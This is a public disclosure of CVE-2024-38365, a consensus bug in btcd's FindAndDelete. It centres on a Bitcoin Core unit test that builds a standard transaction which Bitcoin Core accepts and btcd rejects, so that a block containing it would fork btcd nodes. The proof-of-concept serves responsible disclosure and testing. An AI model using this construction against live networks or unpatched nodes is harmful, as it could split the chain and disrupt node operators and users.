CVE-2024-38365 public disclosure (btcd `FindAndDelete` bug)

Finally getting back to this another 5 months later. Here is the documented Bitcoin Core unit test that was sent as part of the report. It can be ran against Core v27.0 and generates a transaction that would be valid according to Bitcoin Core but not according to Btcd.

// Copyright (c) 2024 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.

#include <boost/test/unit_test.hpp>

#include <chainparams.h>
#include <core_io.h>
#include <script/interpreter.h>
#include <secp256k1.h>
#include <secp256k1_recovery.h>
#include <test/util/setup_common.h>
#include <util/strencodings.h>
#include <validation.h>

BOOST_AUTO_TEST_SUITE(btcd_fad)

/**
 * Demonstration of a consensus bug in btcd, a Go reimplementation of Bitcoin.
 *
 * This is joint work with Niklas Gögge.
 *
 * The purpose of this test is to demonstrate that the implementation of
 * FindAndDelete in btcd (removeOpcodeData) differs from Bitcoin Core. One
 * difference is how btcd will drop any data push from the scriptCode that
 * contains the signature being validated, whereas Core will only drop data
 * pushes that are exact matches. This is the bug chosen for this demonstration
 * (there may be others).
 *
 * To produce a consensus split, we need a signature that would be accepted by
 * Bitcoin Core but not by btcd (or vice-versa). This test demostrates how to
 * construct a set of standard transactions containing such a signature.
 *
 * First we create a preparation transaction that creates a P2SH output with
 * the following redeemScript: `OP_CHECKSIGVERIFY <x||dummy_sig>` (the exact
 * value for "x" is irrelevant). "dummy_sig" is a signature that was randomly
 * generated (the exact signature used is also irrelevant as long as it is
 * properly encoded).
 *
 * Second we create an attack transaction that spends the preparation
 * scriptPubKey. It's scriptSig is the following:
 * `<dummy_sig> <pubkey> <redeemScript>`. We derive the pubkey from "dummy_sig"
 * and the signature hash (redeemScript is used as the scriptCode for the
 * sighash).
 *
 * The crux here is that btcd will drop the `<x||dummy_sig>` data push when
 * evaluating the redeemScript while Bitcoin Core will not. btcd arrives at a
 * different signature hash which makes the signature check fail. A block
 * containing the attack transaction would fork btcd nodes from the network.
 */
BOOST_FIXTURE_TEST_CASE(btcd_fad, BasicTestingSetup)
{
    // We always create 0-value outputs.
    const CAmount txouts_value{0};

    // Create a small DER-encoded dummy sig. We later use it in combination with
    // the sighash to derive a matching pubkey.
    const auto dummy_sig{ParseHex("300602010102010101")};
    // As previously mentioned btcd will drop partial matches from the scriptCode,
    // so we create a piece of data that contains the dummy sig.
    const auto dummy_sig_pushed{ParseHex("09300602010102010101")};

    // Create the preparation transaction, which pays to a P2SH scriptPubKey.
    // The redeemScript is a simple OP_CHECKSIGVERIFY followed by the data that
    // contains the dummy sig.
    const auto redeem_script{CScript() << OP_CHECKSIGVERIFY << dummy_sig_pushed};
    const auto prep_spk{CScript() << OP_HASH160 << ToByteVector(Hash160(redeem_script)) << OP_EQUAL};
    CMutableTransaction prep_tx;
    prep_tx.vout.emplace_back(CTxOut{0, prep_spk});
    prep_tx.vin.emplace_back(CTxIn{{Txid{}, 0}});

    // Create the transaction that would trigger the hard fork by spending from
    // the preparation tx. We use a placeholder for the scriptSig which we'll
    // later replace with the dummy sig, pubkey and redeemScript, but first we
    // need to actually recover the public key.
    CMutableTransaction attack_tx;
    attack_tx.vout.emplace_back(CTxOut{0, CScript() << OP_TRUE});
    attack_tx.vin.emplace_back(CTxIn{COutPoint{prep_tx.GetHash(), 0}, /*scriptSigIn=*/CScript() << OP_TRUE});

    // First step toward recovering the public key: compute the sighash using
    // the redeemScript.
    //
    // Note: this is where things go wrong for btcd because it will drop the
    // data push (dummy_sig_pushed) that contains the sig from the script code
    // and therefore arive at a different sighash.
    const auto sighash{SignatureHash(redeem_script, attack_tx, 0, SIGHASH_ALL, 0, SigVersion::BASE)};

    // Now dance around the secp256k1 types and formats to recover a public key
    // valid for this signature and sighash.
    std::vector<unsigned char> pubkey(33);
    secp256k1_pubkey secp_pubkey;
    std::vector<unsigned char> compact_dummy_sig(64);
    secp256k1_ecdsa_recoverable_signature recoverable_dummy_sig;
    secp256k1_ecdsa_signature secp_dummy_sig;
    secp256k1_context* secp_ctx = Assert(secp256k1_context_create(SECP256K1_CONTEXT_NONE));
    assert(secp256k1_ecdsa_signature_parse_der(secp_ctx, &secp_dummy_sig, dummy_sig.data(), dummy_sig.size() - 1) == 1);
    assert(secp256k1_ecdsa_signature_serialize_compact(secp_ctx, compact_dummy_sig.data(), &secp_dummy_sig) == 1);
    assert(secp256k1_ecdsa_recoverable_signature_parse_compact(secp_ctx, &recoverable_dummy_sig, compact_dummy_sig.data(), 0) == 1);
    assert(secp256k1_ecdsa_recover(secp_ctx, &secp_pubkey, &recoverable_dummy_sig, sighash.data()) == 1);
    size_t _unused_pk_size{33};
    assert(secp256k1_ec_pubkey_serialize(secp_ctx, pubkey.data(), &_unused_pk_size, &secp_pubkey, SECP256K1_EC_COMPRESSED) == 1);
    secp256k1_context_destroy(secp_ctx);

    // We got a valid pubkey. Push the sig and the pubkey onto the scriptSig of
    // the attack transaction to satisfy the CHECKSIGVERIFY in the redeemScript.
    CScript script_sig;
    script_sig << dummy_sig
               << pubkey
               << std::vector<unsigned char>{redeem_script.begin(), redeem_script.end()};
    attack_tx.vin[0].scriptSig = script_sig;

    // The scriptSig of the attack tx must verify against the scriptPubKey of
    // the preparation tx.
    //
    // Note: This attack does not require non-standard transactions.
    unsigned int flags{STANDARD_SCRIPT_VERIFY_FLAGS};
    assert(VerifyScript(script_sig, prep_spk, nullptr, flags, MutableTransactionSignatureChecker(&attack_tx, 0, txouts_value, MissingDataBehavior::ASSERT_FAIL)));
}

BOOST_AUTO_TEST_SUITE_END()